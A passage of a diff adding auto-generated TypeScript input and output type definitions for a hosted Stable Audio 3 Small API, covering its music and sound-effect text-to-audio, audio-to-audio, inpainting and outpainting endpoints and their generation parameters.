for good quality. + * @minimum 1 + * @maximum 100 + * @default 50 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Container format for the generated audio output. + * @default 'mp3' + * @type string | undefined + */ + output_format?: InputFalAiStableAudio3SmallMusicBaseAudioToAudioOutputFormatEnumKey + /** + * @description Duration of the generated audio in seconds. + * @minimum 1 + * @maximum 120 + * @default 30 + * @type number | undefined + */ + duration?: number + /** + * @description If True, the audio is returned inline as a data URI and the result is not saved to the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Enable NSFW content safety checking. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Text description of qualities to avoid in the output. + * @default '' + * @type string | undefined + */ + negative_prompt?: string +} + +export type File10936E0A = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiStableAudio3SmallMusicBaseAudioToAudio = { + /** + * @description The random seed used for generation. + * @type integer + */ + seed: number + /** + * @description The prompt used for generation. + * @type string + */ + prompt: string + /** + * @description The generated audio clip. + * @type object + */ + audio: File10936E0A +} + +export const inputFalAiStableAudio3SmallMusicBaseTextToAudioOutputFormatEnum = { + mp3: 'mp3', + wav: 'wav', + flac: 'flac', + ogg: 'ogg', + opus: 'opus', + m4a: 'm4a', + aac: 'aac', +} as const + +export type InputFalAiStableAudio3SmallMusicBaseTextToAudioOutputFormatEnumKey = + (typeof inputFalAiStableAudio3SmallMusicBaseTextToAudioOutputFormatEnum)[keyof typeof inputFalAiStableAudio3SmallMusicBaseTextToAudioOutputFormatEnum] + +export type InputFalAiStableAudio3SmallMusicBaseTextToAudio = { + /** + * @description Audio bitrate for compressed output formats (e.g., mp3, aac, opus). Format e.g. '192k' or '320k'. Ignored for lossless formats (wav, flac). + * @default '192k' + * @type string | undefined + */ + bitrate?: string + /** + * @description Random seed for reproducible outputs. Omit for a random seed. + */ + seed?: number | null + /** + * @description Classifier-free guidance scale. Higher values follow the prompt more strictly; ~7.0 is a good starting point for base checkpoints. + * @minimum 0 + * @maximum 25 + * @default 7 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description If True, the prompt will be expanded using an LLM for more detailed and higher quality results. + * @default false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Text description of the audio to generate. + * @example An anthemic Pop Rock instrumental that fills your head with nostalgic thoughtfulness + * @type string + */ + prompt: string + /** + * @description Number of sampling steps. Base (non-distilled) checkpoints typically need ~50 for good quality. + * @minimum 1 + * @maximum 100 + * @default 50 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Container format for the generated audio output. + * @default 'mp3' + * @type string | undefined + */ + output_format?: InputFalAiStableAudio3SmallMusicBaseTextToAudioOutputFormatEnumKey + /** + * @description Duration of the generated audio in seconds. + * @minimum 1 + * @maximum 120 + * @default 30 + * @type number | undefined + */ + duration?: number + /** + * @description If True, the audio is returned inline as a data URI and the result is not saved to the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Enable NSFW content safety checking. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Text description of qualities to avoid in the output. + * @default '' + * @type string | undefined + */ + negative_prompt?: string +} + +export type FileF5Bab899 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiStableAudio3SmallMusicBaseTextToAudio = { + /** + * @description The random seed used for generation. + * @type integer + */ + seed: number + /** + * @description The prompt used for generation. + * @type string + */ + prompt: string + /** + * @description The generated audio clip. + * @type object + */ + audio: FileF5Bab899 +} + +export const inputFalAiStableAudio3SmallMusicTextToAudioOutputFormatEnum = { + mp3: 'mp3', + wav: 'wav', + flac: 'flac', + ogg: 'ogg', + opus: 'opus', + m4a: 'm4a', + aac: 'aac', +} as const + +export type InputFalAiStableAudio3SmallMusicTextToAudioOutputFormatEnumKey = + (typeof inputFalAiStableAudio3SmallMusicTextToAudioOutputFormatEnum)[keyof typeof inputFalAiStableAudio3SmallMusicTextToAudioOutputFormatEnum] + +export type InputFalAiStableAudio3SmallMusicTextToAudio = { + /** + * @description Audio bitrate for compressed output formats (e.g., mp3, aac, opus). Format e.g. '192k' or '320k'. Ignored for lossless formats (wav, flac). + * @default '192k' + * @type string | undefined + */ + bitrate?: string + /** + * @description Random seed for reproducible outputs. Omit for a random seed. + */ + seed?: number | null + /** + * @description Classifier-free guidance scale. Higher values follow the prompt more strictly. Only effective on base (non-distilled) checkpoints. + * @minimum 0 + * @maximum 25 + * @default 1 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description If True, the prompt will be expanded using an LLM for more detailed and higher quality results. + * @default false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Text description of the audio to generate. + * @example An anthemic Pop Rock instrumental that fills your head with nostalgic thoughtfulness + * @type string + */ + prompt: string + /** + * @description Number of sampling steps. Post-trained (distilled) checkpoints look good with the default 8 and gain little from going higher. + * @minimum 1 + * @maximum 100 + * @default 8 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Container format for the generated audio output. + * @default 'mp3' + * @type string | undefined + */ + output_format?: InputFalAiStableAudio3SmallMusicTextToAudioOutputFormatEnumKey + /** + * @description Duration of the generated audio in seconds. + * @minimum 1 + * @maximum 120 + * @default 30 + * @type number | undefined + */ + duration?: number + /** + * @description If True, the audio is returned inline as a data URI and the result is not saved to the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Enable NSFW content safety checking. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Text description of qualities to avoid in the output. + * @default '' + * @type string | undefined + */ + negative_prompt?: string +} + +export type FileF49C98Fb = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiStableAudio3SmallMusicTextToAudio = { + /** + * @description The random seed used for generation. + * @type integer + */ + seed: number + /** + * @description The prompt used for generation. + * @type string + */ + prompt: string + /** + * @description The generated audio clip. + * @type object + */ + audio: FileF49C98Fb +} + +export const inputFalAiStableAudio3SmallSfxAudioInpaintingOutputFormatEnum = { + mp3: 'mp3', + wav: 'wav', + flac: 'flac', + ogg: 'ogg', + opus: 'opus', + m4a: 'm4a', + aac: 'aac', +} as const + +export type InputFalAiStableAudio3SmallSfxAudioInpaintingOutputFormatEnumKey = + (typeof inputFalAiStableAudio3SmallSfxAudioInpaintingOutputFormatEnum)[keyof typeof inputFalAiStableAudio3SmallSfxAudioInpaintingOutputFormatEnum] + +export type InputFalAiStableAudio3SmallSfxAudioInpainting = { + /** + * @description Audio bitrate for compressed output formats (e.g., mp3, aac, opus). Format e.g. '192k' or '320k'. Ignored for lossless formats (wav, flac). + * @default '192k' + * @type string | undefined + */ + bitrate?: string + /** + * @description Random seed for reproducible outputs. Omit for a random seed. + */ + seed?: number | null + /** + * @description Classifier-free guidance scale. Higher values follow the prompt more strictly. Only effective on base (non-distilled) checkpoints. + * @minimum 0 + * @maximum 25 + * @default 1 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description If True, the prompt will be expanded using an LLM for more detailed and higher quality results. + * @default false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Text description guiding how the masked region is regenerated. + * @example punchy kick drum fill + * @type string + */ + prompt: string + /** + * @description End of the region to regenerate, in seconds. + * @minimum 0 + * @maximum 120 + * @example 8 + * @type number + */ + mask_end_seconds: number + /** + * @description Container format for the generated audio output. + * @default 'mp3' + * @type string | undefined + */ + output_format?: InputFalAiStableAudio3SmallSfxAudioInpaintingOutputFormatEnumKey + /** + * @description Number of sampling steps. Post-trained (distilled) checkpoints look good with the default 8 and gain little from going higher. + * @minimum 1 + * @maximum 100 + * @default 8 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Source audio. Only the masked region is regenerated. + * @example https://storage.googleapis.com/falserverless/model_tests/diffrythm/rock_en.wav + * @type string + */ + audio_url: string + /** + * @description Text description of qualities to avoid in the output. + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description If True, the audio is returned inline as a data URI and the result is not saved to the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Enable NSFW content safety checking. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Start of the region to regenerate, in seconds. + * @minimum 0 + * @maximum 120 + * @example 4 + * @type number + */ + mask_start_seconds: number +} + +export type FileB65Bb1A5 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiStableAudio3SmallSfxAudioInpainting = { + /** + * @description The random seed used for generation. + * @type integer + */ + seed: number + /** + * @description The prompt used for generation. + * @type string + */ + prompt: string + /** + * @description The generated audio clip. + * @type object + */ + audio: FileB65Bb1A5 +} + +export const inputFalAiStableAudio3SmallSfxAudioOutpaintingOutputFormatEnum = { + mp3: 'mp3', + wav: 'wav', + flac: 'flac', + ogg: 'ogg', + opus: 'opus', + m4a: 'm4a', + aac: 'aac', +} as const + +export type InputFalAiStableAudio3SmallSfxAudioOutpaintingOutputFormatEnumKey = + (typeof inputFalAiStableAudio3SmallSfxAudioOutpaintingOutputFormatEnum)[keyof typeof inputFalAiStableAudio3SmallSfxAudioOutpaintingOutputFormatEnum] + +export type InputFalAiStableAudio3SmallSfxAudioOutpainting = { + /** + * @description Audio bitrate for compressed output formats (e.g., mp3, aac, opus). Format e.g. '192k' or '320k'. Ignored for lossless formats (wav, flac). + * @default '192k' + * @type string | undefined + */ + bitrate?: string + /** + * @description Seconds of new audio to generate after the source audio. + * @minimum 0 + * @maximum 120 + * @default 0 + * @example 30 + * @type number | undefined + */ + extend_seconds_after?: number + /** + * @description Random seed for reproducible outputs. Omit for a random seed. + */ + seed?: number | null + /** + * @description Classifier-free guidance scale. Higher values follow the prompt more strictly. Only effective on base (non-distilled) checkpoints. + * @minimum 0 + * @maximum 25 + * @default 1 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description If True, the prompt will be expanded using an LLM for more detailed and higher quality results. + * @default false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Text description guiding the extension content. + * @example soft strings continue the melody + * @type string + */ + prompt: string + /** + * @description Source audio to extend. + * @example https://storage.googleapis.com/falserverless/model_tests/diffrythm/rock_en.wav + * @type string + */ + audio_url: string + /** + * @description Container format for the generated audio output. + * @default 'mp3' + * @type string | undefined + */ + output_format?: InputFalAiStableAudio3SmallSfxAudioOutpaintingOutputFormatEnumKey + /** + * @description Seconds of new audio to generate before the source audio. + * @minimum 0 + * @maximum 120 + * @default 0 + * @example 0 + * @type number | undefined + */ + extend_seconds_before?: number + /** + * @description Number of sampling steps. Post-trained (distilled) checkpoints look good with the default 8 and gain little from going higher. + * @minimum 1 + * @maximum 100 + * @default 8 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Text description of qualities to avoid in the output. + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description If True, the audio is returned inline as a data URI and the result is not saved to the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Enable NSFW content safety checking. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type FileDacd39D8 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiStableAudio3SmallSfxAudioOutpainting = { + /** + * @description The random seed used for generation. + * @type integer + */ + seed: number + /** + * @description The prompt used for generation. + * @type string + */ + prompt: string + /** + * @description The generated audio clip. + * @type object + */ + audio: FileDacd39D8 +} + +export const inputFalAiStableAudio3SmallSfxAudioToAudioOutputFormatEnum = { + mp3: 'mp3', + wav: 'wav', + flac: 'flac', + ogg: 'ogg', + opus: 'opus', + m4a: 'm4a', + aac: 'aac', +} as const + +export type InputFalAiStableAudio3SmallSfxAudioToAudioOutputFormatEnumKey = + (typeof inputFalAiStableAudio3SmallSfxAudioToAudioOutputFormatEnum)[keyof typeof inputFalAiStableAudio3SmallSfxAudioToAudioOutputFormatEnum] + +export type InputFalAiStableAudio3SmallSfxAudioToAudio = { + /** + * @description Audio bitrate for compressed output formats (e.g., mp3, aac, opus). Format e.g. '192k' or '320k'. Ignored for lossless formats (wav, flac). + * @default '192k' + * @type string | undefined + */ + bitrate?: string + /** + * @description Random seed for reproducible outputs. Omit for a random seed. + */ + seed?: number | null + /** + * @description How much noise to add to the source audio. 1.0 fully replaces the audio with noise (pure generation); 0.1 keeps the source close to the input. 0.5 sits halfway between. + * @minimum 0 + * @maximum 1 + * @default 0.9 + * @type number | undefined + */ + init_noise_level?: number + /** + * @description If True, the prompt will be expanded using an LLM for more detailed and higher quality results. + * @default false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Text description guiding how the source audio should be transformed. + * @example bossa nova bassline + * @type string + */ + prompt: string + /** + * @description Classifier-free guidance scale. Higher values follow the prompt more strictly. Only effective on base (non-distilled) checkpoints. + * @minimum 0 + * @maximum 25 + * @default 1 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Source audio to transform. + * @example https://storage.googleapis.com/falserverless/model_tests/diffrythm/rock_en.wav + * @type string + */ + audio_url: string + /** + * @description Number of sampling steps. Post-trained (distilled) checkpoints look good with the default 8 and gain little from going higher. + * @minimum 1 + * @maximum 100 + * @default 8 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Container format for the generated audio output. + * @default 'mp3' + * @type string | undefined + */ + output_format?: InputFalAiStableAudio3SmallSfxAudioToAudioOutputFormatEnumKey + /** + * @description Duration of the generated audio in seconds. + * @minimum 1 + * @maximum 120 + * @default 30 + * @type number | undefined + */ + duration?: number + /** + * @description If True, the audio is returned inline as a data URI and the result is not saved to the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Enable NSFW content safety checking. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Text description of qualities to avoid in the output. + * @default '' + * @type string | undefined + */ + negative_prompt?: string +} + +export type FileFfc68Ea0 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiStableAudio3SmallSfxAudioToAudio = { + /** + * @description The random seed used for generation. + * @type integer + */ + seed: number + /** + * @description The prompt used for generation. + * @type string + */ + prompt: string + /** + * @description The generated audio clip. + * @type object + */ + audio: FileFfc68Ea0 +} + +export const inputFalAiStableAudio3SmallSfxBaseAudioInpaintingOutputFormatEnum = + { + mp3: 'mp3', + wav: 'wav', + flac: 'flac', + ogg: 'ogg', + opus: 'opus', + m4a: 'm4a', + aac: 'aac', + } as const + +export type InputFalAiStableAudio3SmallSfxBaseAudioInpaintingOutputFormatEnumKey = + (typeof inputFalAiStableAudio3SmallSfxBaseAudioInpaintingOutputFormatEnum)[keyof typeof inputFalAiStableAudio3SmallSfxBaseAudioInpaintingOutputFormatEnum] + +export type InputFalAiStableAudio3SmallSfxBaseAudioInpainting = { + /** + * @description Audio bitrate for compressed output formats (e.g., mp3, aac, opus). Format e.g. '192k' or '320k'. Ignored for lossless formats (wav, flac). + * @default '192k' + * @type string | undefined + */ + bitrate?: string + /** + * @description Random seed for reproducible outputs. Omit for a random seed. + */ + seed?: number | null + /** + * @description Classifier-free guidance scale. Higher values follow the prompt more strictly; ~7.0 is a good starting point for base checkpoints. + * @minimum 0 + * @maximum 25 + * @default 7 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description If True, the prompt will be expanded using an LLM for more detailed and higher quality results. + * @default false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Text description guiding how the masked region is regenerated. + * @example punchy kick drum fill + * @type string + */ + prompt: string + /** + * @description End of the region to regenerate, in seconds. + * @minimum 0 + * @maximum 120 + * @example 8 + * @type number + */ + mask_end_seconds: number + /** + * @description Container format for the generated audio output. + * @default 'mp3' + * @type string | undefined + */ + output_format?: InputFalAiStableAudio3SmallSfxBaseAudioInpaintingOutputFormatEnumKey + /** + * @description Number of sampling steps. Base (non-distilled) checkpoints typically need ~50 for good quality. + * @minimum 1 + * @maximum 100 + * @default 50 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Source audio. Only the masked region is regenerated. + * @example https://storage.googleapis.com/falserverless/model_tests/diffrythm/rock_en.wav + * @type string + */ + audio_url: string + /** + * @description Text description of qualities to avoid in the output. + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description If True, the audio is returned inline as a data URI and the result is not saved to the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Enable NSFW content safety checking. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Start of the region to regenerate, in seconds. + * @minimum 0 + * @maximum 120 + * @example 4 + * @type number + */ + mask_start_seconds: number +} + +export type File5Aae377B = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiStableAudio3SmallSfxBaseAudioInpainting = { + /** + * @description The random seed used for generation. + * @type integer + */ + seed: number + /** + * @description The prompt used for generation. + * @type string + */ + prompt: string + /** + * @description The generated audio clip. + * @type object + */ + audio: File5Aae377B +} + +export const inputFalAiStableAudio3SmallSfxBaseAudioOutpaintingOutputFormatEnum = + { + mp3: 'mp3', + wav: 'wav', + flac: 'flac', + ogg: 'ogg', + opus: 'opus', + m4a: 'm4a', + aac: 'aac', + } as const + +export type InputFalAiStableAudio3SmallSfxBaseAudioOutpaintingOutputFormatEnumKey = + (typeof inputFalAiStableAudio3SmallSfxBaseAudioOutpaintingOutputFormatEnum)[keyof typeof inputFalAiStableAudio3SmallSfxBaseAudioOutpaintingOutputFormatEnum] + +export type InputFalAiStableAudio3SmallSfxBaseAudioOutpainting = { + /** + * @description Audio bitrate for compressed output formats (e.g., mp3, aac, opus). Format e.g. '192k' or '320k'. Ignored for lossless formats (wav, flac). + * @default '192k' + * @type string | undefined + */ + bitrate?: string + /** + * @description Seconds of new audio to generate after the source audio. + * @minimum 0 + * @maximum 120 + * @default 0 + * @example 30 + * @type number | undefined + */ + extend_seconds_after?: number + /** + * @description Random seed for reproducible outputs. Omit for a random seed. + */ + seed?: number | null + /** + * @description Classifier-free guidance scale. Higher values follow the prompt more strictly; ~7.0 is a good starting point for base checkpoints. + * @minimum 0 + * @maximum 25 + * @default 7 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description If True, the prompt will be expanded using an LLM for more detailed and higher quality results. + * @default false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Text description guiding the extension content. + * @example soft strings continue the melody + * @type string + */ + prompt: string + /** + * @description Source audio to extend. + * @example https://storage.googleapis.com/falserverless/model_tests/diffrythm/rock_en.wav + * @type string + */ + audio_url: string + /** + * @description Container format for the generated audio output. + * @default 'mp3' + * @type string | undefined + */ + output_format?: InputFalAiStableAudio3SmallSfxBaseAudioOutpaintingOutputFormatEnumKey + /** + * @description Seconds of new audio to generate before the source audio. + * @minimum 0 + * @maximum 120 + * @default 0 + * @example 0 + * @type number | undefined + */ + extend_seconds_before?: number + /** + * @description Number of sampling steps. Base (non-distilled) checkpoints typically need ~50 for good quality. + * @minimum 1 + * @maximum 100 + * @default 50 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Text description of qualities to avoid in the output. + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description If True, the audio is returned inline as a data URI and the result is not saved to the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Enable NSFW content safety checking. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type File04D5A17A = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiStableAudio3SmallSfxBaseAudioOutpainting = { + /** + * @description The random seed used for generation. + * @type integer + */ + seed: number + /** + * @description The prompt used for generation. + * @type string + */ + prompt: string + /** + * @description The generated audio clip. + * @type object + */ + audio: File04D5A17A +} + +export const inputFalAiStableAudio3SmallSfxBaseAudioToAudioOutputFormatEnum = { + mp3: 'mp3', + wav: 'wav', + flac: 'flac', + ogg: 'ogg', + opus: 'opus', + m4a: 'm4a', + aac: 'aac', +} as const + +export type InputFalAiStableAudio3SmallSfxBaseAudioToAudioOutputFormatEnumKey = + (typeof inputFalAiStableAudio3SmallSfxBaseAudioToAudioOutputFormatEnum)[keyof typeof inputFalAiStableAudio3SmallSfxBaseAudioToAudioOutputFormatEnum] + +export type InputFalAiStableAudio3SmallSfxBaseAudioToAudio = { + /** + * @description Audio bitrate for compressed output formats (e.g., mp3, aac, opus). Format e.g. '192k' or '320k'. Ignored for lossless formats (wav, flac). + * @default '192k' + * @type string | undefined + */ + bitrate?: string + /** + * @description Random seed for reproducible outputs. Omit for a random seed. + */ + seed?: number | null + /** + * @description How much noise to add to the source audio. 1.0 fully replaces the audio with noise (pure generation); 0.1 keeps the source close to the input. 0.5 sits halfway between. + * @minimum 0 + * @maximum 1 + * @default 0.9 + * @type number | undefined + */ + init_noise_level?: number + /** + * @description If True, the prompt will be expanded using an LLM for more detailed and higher quality results. + * @default false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Text description guiding how the source audio should be transformed. + * @example bossa nova bassline + * @type string + */ + prompt: string + /** + * @description Classifier-free guidance scale. Higher values follow the prompt more strictly; ~7.0 is a good starting point for base checkpoints. + * @minimum 0 + * @maximum 25 + * @default 7 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Source audio to transform. + * @example https://storage.googleapis.com/falserverless/model_tests/diffrythm/rock_en.wav + * @type string + */ + audio_url: string + /** + * @description Number of sampling steps. Base (non-distilled) checkpoints typically need ~50 for good quality. + * @minimum 1 + * @maximum 100 + * @default 50 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Container format for the generated audio output. + * @default 'mp3' + * @type string | undefined + */ + output_format?: InputFalAiStableAudio3SmallSfxBaseAudioToAudioOutputFormatEnumKey + /** + * @description Duration of the generated audio in seconds. + * @minimum 1 + * @maximum 120 + * @default 30 + * @type number | undefined + */ + duration?: number + /** + * @description If True, the audio is returned inline as a data URI and the result is not saved to the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Enable NSFW content safety checking. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Text description of qualities to avoid in the output. + * @default '' + * @type string | undefined + */ + negative_prompt?: string +} + +export type File39804E66 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiStableAudio3SmallSfxBaseAudioToAudio = { + /** + * @description The random seed used for generation. + * @type integer + */ + seed: number + /** + * @description The prompt used for generation. + * @type string + */ + prompt: string + /** + * @description The generated audio clip. + * @type object + */ + audio: File39804E66 +} + +export const inputFalAiStableAudio3SmallSfxBaseTextToAudioOutputFormatEnum = { + mp3: 'mp3', + wav: 'wav', + flac: 'flac', + ogg: 'ogg', + opus: 'opus', + m4a: 'm4a', + aac: 'aac', +} as const + +export type InputFalAiStableAudio3SmallSfxBaseTextToAudioOutputFormatEnumKey = + (typeof inputFalAiStableAudio3SmallSfxBaseTextToAudioOutputFormatEnum)[keyof typeof inputFalAiStableAudio3SmallSfxBaseTextToAudioOutputFormatEnum] + +export type InputFalAiStableAudio3SmallSfxBaseTextToAudio = { + /** + * @description Audio bitrate for compressed output formats (e.g., mp3, aac, opus). Format e.g. '192k' or '320k'. Ignored for lossless formats (wav, flac). + * @default '192k' + * @type string | undefined + */ + bitrate?: string + /** + * @description Random seed for reproducible outputs. Omit for a random seed. + */ + seed?: number | null + /** + * @description Classifier-free guidance scale. Higher values follow the prompt more strictly; ~7.0 is a good starting point for base checkpoints. + * @minimum 0 + * @maximum 25 + * @default 7 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description If True, the prompt will be expanded using an LLM for more detailed and higher quality results. + * @default false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Text description of the audio to generate. + * @example An anthemic Pop Rock instrumental that fills your head with nostalgic thoughtfulness + * @type string + */ + prompt: string + /** + * @description Number of sampling steps. Base (non-distilled) checkpoints typically need ~50 for good quality. + * @minimum 1 + * @maximum 100 + * @default 50 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Container format for the generated audio output. + * @default 'mp3' + * @type string | undefined + */ + output_format?: InputFalAiStableAudio3SmallSfxBaseTextToAudioOutputFormatEnumKey + /** + * @description Duration of the generated audio in seconds. + * @minimum 1 + * @maximum 120 + * @default 30 + * @type number | undefined + */ + duration?: number + /** + * @description If True, the audio is returned inline as a data URI and the result is not saved to the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Enable NSFW content safety checking. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Text description of qualities to avoid in the output. + * @default '' + * @type string | undefined + */ + negative_prompt?: string +} + +export type FileE752Eabd = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiStableAudio3SmallSfxBaseTextToAudio = { + /** + * @description The random seed used for generation. + * @type integer + */ + seed: number + /** + * @description The prompt used for generation. + * @type string + */ + prompt: string + /** + * @description The generated audio clip. + * @type object + */ + audio: FileE752Eabd +} + +export const inputFalAiStableAudio3SmallSfxTextToAudioOutputFormatEnum = { + mp3: 'mp3', + wav: 'wav', + flac: 'flac', + ogg: 'ogg', + opus: 'opus', + m4a: 'm4a', + aac: 'aac', +} as const + +export type InputFalAiStableAudio3SmallSfxTextToAudioOutputFormatEnumKey = + (typeof inputFalAiStableAudio3SmallSfxTextToAudioOutputFormatEnum)[keyof typeof inputFalAiStableAudio3SmallSfxTextToAudioOutputFormatEnum] + +export type InputFalAiStableAudio3SmallSfxTextToAudio = { + /** + * @description Audio bitrate for compressed output formats (e.g., mp3, aac, opus). Format e.g. '192k' or '320k'. Ignored for lossless formats (wav, flac). + * @default '192k' + * @type string | undefined + */ + bitrate?: string + /** + * @description Random seed for reproducible outputs. Omit for a random seed. + */ + seed?: number | null + /** + * @description Classifier-free guidance scale. Higher values follow the prompt more strictly. Only effective on base (non-distilled) checkpoints. + * @minimum 0 + * @maximum 25 + * @default 1 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description If True, the prompt will be expanded using an LLM for more detailed and higher quality results. + * @default false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Text description of the audio to generate. + * @example An anthemic Pop Rock instrumental that fills your head with nostalgic thoughtfulness + * @type string + */ + prompt: string + /** + * @description Number of sampling steps. Post-trained (distilled) checkpoints look good with the default 8 and gain little from going higher. + * @minimum 1 + * @maximum 100 + * @default 8 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Container format for the generated audio output. + * @default 'mp3' + * @type string | undefined + */ + output_format?: InputFalAiStableAudio3SmallSfxTextToAudioOutputFormatEnumKey + /** + * @description Duration of the generated audio in seconds. + * @minimum 1 + * @maximum 120 + * @default 30 + * @type number | undefined + */ + duration?: number + /** + * @description If True, the audio is returned inline as a data URI and the result is not saved to the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Enable NSFW content safety checking. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Text description of qualities to avoid in the output. + * @default '' + * @type string | undefined + */ + negative_prompt?: string +} + +export type File895Fd497 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + 